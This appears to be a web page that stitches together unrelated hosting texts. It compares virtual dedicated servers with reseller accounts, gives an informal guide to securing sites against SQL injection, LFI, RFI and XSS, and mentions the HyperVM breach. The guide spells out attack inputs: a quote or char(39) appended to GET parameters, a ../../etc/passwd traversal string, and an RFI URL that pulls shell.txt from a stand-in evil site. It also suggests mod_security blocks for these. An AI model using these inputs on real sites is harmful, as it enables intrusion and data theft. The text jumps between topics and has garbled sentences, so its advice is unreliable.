A VDS provides the full flexibility of a dedicated server – you are free to install your own software and configure the system to your exact needs as there are no other users – at just a fraction of the cost. They are perfect for development environments, simple applications, and sites which need the security of a dedicated server but don’t need the additional power.

You are provided with the root login/administrator access to the virtual dedicated server, in the same was as if it were a physical server. You can choose your operating system, (e.g. Linux CentOS, Windows Server 2003) and can install and configure your own software exactly to your own specifications. If you require a custom Apache configuration to host your website, you can do this.

Sometimes it is recommended that a user purchase a virtual dedicated server instead of a reseller package. With a Windows or Linux reseller hosting account, you are effectively free to resell a number of websites, based upon the amount of space/bandwidth you have purchased wholesale from your reseller hosting provider. This is especially suitable for a novice web hosting user, who need to host a number of websites but who doesn’t have the systems administration experience required to keep a virtual dedicated server running smoothly and securely. Additionally, a web designer who wishes to offer web hosting to their clients may benefit from a reseller hosting account – they want to offer website hosting to their clients but without the added problems of worrying about administering the server, making sure all of the scripts and server software is up to date etc.

So whilst a reseller account is very convenient, and cost effective for a user wishing to host a large number of websites, it doesn’t quite offer the flexibility of a virtual dedicated server, which may be more suited to a developer running multiple websites requiring custom Apache/MySQL/PHP/Ruby on Rails hosting requirements. In conclusion, for most users a reseller hosting account is usually the better option to take, whilst as a user gains more experience and understands the details of administering a linux hosting server, a VDS may be an option to progress to later on.

Next try any Get Vars in your scripts and put a ‘ at the end of them what I mean is you have = you add ‘ so it’s yourwebsite.com/page?=’ or any other similar thing not only page= you may also try char(39) rather then only ‘ most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the ‘ but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote.
If you get an error you might want to check the script.

The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc.

If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)…  If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use. The following to browse into other places ../../../../ if they wanted to they’d view your passwd file via ../../../../../../etc/passwd

Well right now you’d say big Woop they got some users maybe not but still have the ability to go to any forum on
that server and upload an avatar with PHP-EXIF data in it then include it. Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all…

Recommendations fix the script have mod security block all ../../../../../ to a certain point attempts.

Ok next were going to discuss the abilities of an RFI and how to block it…
So the things you can do with an RFI well lets see remotely include an PHP file that will execute its php file like so
www.yoursite.com/file.php?file=evilsite.com/shell.txt? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.

Prevention add http:// to your mod security this way when they try remotely including a file in the URL httpd:// mod_security will block it.

Ok our next subject is XSS. What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldn’t really see it… but when you clicked they could potentially grab your cookie or any current stored browser information. With this they could use your cookie as their own to login as you… maybe even get password information from this cookie.

As for SQL injection the way to block this is to… add ‘ or /* to the mod security be sure to add in char(39) as it’s ‘ in php and php will in fact read it from a URL and interpret it as ‘ and still launch the sql injection.

One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once.  You can do this by obfuscating the code using Zend or similar.

Finally, never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc.
But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.

Culminating in the recent hack of A2B2/Vaserv/FSCK VPS, where tens of thousands of websites were taken offline on multiple servers by exploiting a serious vulnerability in the HyperVM virtual machine management software.
http://www.theregister.co.uk/2009/06/08/webhost_attack/

Whilst automation is an important detail of an efficient system – it is even more important to ensure that the integrity of that system is not compromised by implementing the automation. In this instance, a single installation of HyperVM with root access to many dozens of servers was compromised. It is important to consider worst case scenarios with any kind of service. What is the absolute worst that could happen to my system? What would be my nightmare?

Think of your nightmare… and then multiply it a few times. Then make a contingency plan.

There are two kinds of virtualisation: software based and hardware based. In a software based virtual environment, the virtual machines share the same kernel and actually require the main node’s resources. This kind of virtualization normally has many benefits in a web hosting environment because of quota incrementing and decrementing in real time with no need to restart the node. The main examples are Xen, Virtuozzo, Vserver, and OpenVZ (which is the open source and development version of Parallels Virtuozzo Containers).